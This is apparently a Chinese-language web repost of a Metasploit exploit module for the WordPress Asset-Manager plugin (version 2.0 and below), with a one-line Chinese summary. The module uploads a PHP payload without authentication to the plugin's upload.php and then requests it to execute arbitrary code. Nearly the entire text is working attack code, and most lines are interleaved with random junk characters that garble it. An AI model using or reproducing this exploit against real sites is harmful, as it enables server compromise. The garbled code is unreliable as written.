这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。
: g& ~/ G' M8 c& K. k- m8 |6 S* E
##
) a4 v" S# I/ x# This file is part of the Metasploit Framework and may be subject to
; d/ s) s7 F- X$ x6 w3 T# redistribution and commercial restrictions. Please see the Metasploit0 L" X. k9 `0 H7 Y: ~: F8 u4 [5 l
# Framework web site for more information on licensing and terms of use.
* e' f. E/ Z5 g; z# http://metasploit.com/framework/8 W0 ~: T" ]3 B$ K. @9 A- t) T
##
( c0 P( A- t% }* O " \$ d/ g8 Q" b2 u. p! h
require 'msf/core'
& w9 V# r* S x2 B* U' v0 [require 'msf/core/exploit/php_exe'
d5 C! Y# z0 ^" F
( P; C$ y# V9 H) gclass Metasploit3 < Msf::Exploit::Remote2 \6 O. v* j) A o2 M
Rank = ExcellentRanking% E, M) J" n$ N0 Y& V0 Z/ |
: c: f- @9 G( x p+ f
include Msf::Exploit::Remote::HttpClient
$ m7 F9 j( j. _) H include Msf::Exploit: hpEXE7 R j$ j0 L& D( S
3 T; r8 x8 k/ D% c( b
def initialize(info = {})
5 F' o! x0 H0 c! @# E2 C super(update_info(info,
' H% e. ?9 V& p9 |" G! _0 {; c 'Name' => 'WordPress Asset-Manager PHP File Upload Vulnerability',
3 a% A3 C3 [0 Z 'Description' => %q{ |! ~( \: ^8 `9 N2 q* y, j$ a
This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress
# ~% b. k5 o$ ?& s+ |- h plugin. By abusing the upload.php file, a malicious user can upload a file to a
* H8 s7 X: H7 |/ P temp directory without authentication, which results in arbitrary code execution.
V) ?. D, N L% E& C# e },+ j- m- M7 D* e3 U u6 N
'Author' =>
1 `* j+ v* P( j' f# e$ O [( j/ Z1 |4 }8 U4 `+ d- q4 l7 m. Y/ Z% ^
'Sammy FORGIT', # initial discovery
7 ~) S {; X" } 'James Fitts <fitts.james[at]gmail.com>' # metasploit module
) F/ U2 s6 [. k1 h( A" D# r ],
! d9 C( v; H/ M( x: l1 ~ 'License' => MSF_LICENSE,
3 c4 U" W) l1 g5 R, Z6 } 'References' =>
+ O+ {& m7 m% b- j [2 h2 Z2 p" h1 o" X$ {; x/ n
[ 'OSVDB', '82653' ],
& o* D' `9 ]5 D0 Q% q [ 'BID', '53809' ],4 g! }) p- o+ p1 @, ]
[ 'EDB', '18993' ],) y+ }8 Y4 ~1 f( f5 T1 C" c
[ 'URL', 'http:// www.myhack58.com /' ]
S% X, n; }2 t2 X ],0 N S u# W6 X2 U% S2 |
'Payload' =>
& k1 U Q5 `# m* H: }1 e3 |/ D! O {$ \+ [; U2 [0 E
'BadChars' => "\x00",
4 I. d+ _1 @9 b/ p6 o+ N5 p# C },, K' \& h& e7 b& N+ I% ]+ j9 D& s
'Platform' => 'php',6 O! K: ~$ w+ ?7 _/ v# n1 ?6 H! C, K
'Arch' => ARCH_PHP,7 z# V H( I& N: ]
'Targets' =>
2 I* O. p1 L: p! l2 `( q5 E [* |0 ~& l9 m- \: d) Y
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],9 _4 q7 q% ]0 _& o6 e
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]# n9 C4 {+ R4 H" Z# \8 G
],
: |! R4 ?! x8 l2 j, S; L+ I 'DefaultTarget' => 0,
& | s% v5 P4 X' z! s) k 'DisclosureDate' => 'May 26 2012'))
- c& i' o; X' ]9 z. P8 E
6 T' f0 G% Y$ C: c register_options(
+ {9 v u- c/ {+ Q# X [8 e/ O+ l" j" T4 ?$ d- G5 S _$ B, t
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
. j4 d" J( _3 y ], self.class)
1 c* d; ^9 b/ }" G4 W5 a0 i0 n9 d" N+ R end! H8 x( x/ H: }2 }6 \- G p9 s& A
) J2 ? r- b! p/ }4 }) x1 Y def exploit
$ ]' [" I+ q8 ? uri = target_uri.path
7 l' ~3 {9 R$ [: ]$ v, F, w4 K uri << '/' if uri[-1,1] != '/'2 D* `1 ]- b! T: ~0 a Y
peer = "#{rhost}:#{rport}"9 g. Q4 ]% L: q( ?) X, U+ U
payload_name = "#{rand_text_alpha(5)}.php"
* ^) d% v( E! \. v php_payload = get_write_exec_payload(:unlink_self=>true)
8 k8 Z' {- v$ u ! k) E0 e: H. A4 R2 t
data = Rex::MIME::Message.new7 Y' o( Z: l3 j: Y! r" Y/ u+ p
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
9 u. Y- V* ?5 x: W+ P! u post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
" K& @( v K2 `2 _% N
( K) T# x3 c9 g3 t( m k print_status("#{peer} - Uploading payload #{payload_name}")8 q" r9 u0 e4 [* b: y v
res = send_request_cgi({
4 }* W$ c8 m% W' R- _ 'method' => 'POST',4 ^- [: D: I2 ?& \6 ?; r3 h
'uri' => "#{uri}wp-content/plugins/asset-manager/upload.php",
1 i0 D( _) t" }8 V0 Y 'ctype' => "multipart/form-data; boundary=#{data.bound}",
% P& p+ U: Q; n6 {, K5 b. ?! g 'data' => post_data
+ |+ h/ `" P: s$ f$ H })3 Q: G, V# O y& A6 M
1 v- B7 P2 ~/ [8 E; } if not res or res.code != 200 or res.body !~ /#{payload_name}/3 @+ D) r# L+ ]' L! Q# j
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
, N) C3 q4 W2 \ R2 lend
& P! H& o N( y
! v1 G& l5 q+ O print_status("#{peer} - Executing payload #{payload_name}")
% W, s" G9 p, b* a( n res = send_request_raw({
/ ?, ~6 c8 b/ [& F' a: W- d 'uri' => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",- t$ H L; n; H
'method' => 'GET'
+ `) x5 D8 q$ B; U, H, |" S% A" l })9 }8 G1 J& d6 M0 ^" I' @
6 g U$ e/ ~) L$ O2 Q if res and res.code != 200
* q6 {$ s9 K9 ]1 A1 ?7 o fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")
, [9 S0 l$ B% ^4 ]/ g end
7 s. B2 [1 \6 _2 B* y end
) r7 W! J7 f. O @2 Q' j; jend$ {5 c1 V" q' Z2 U
|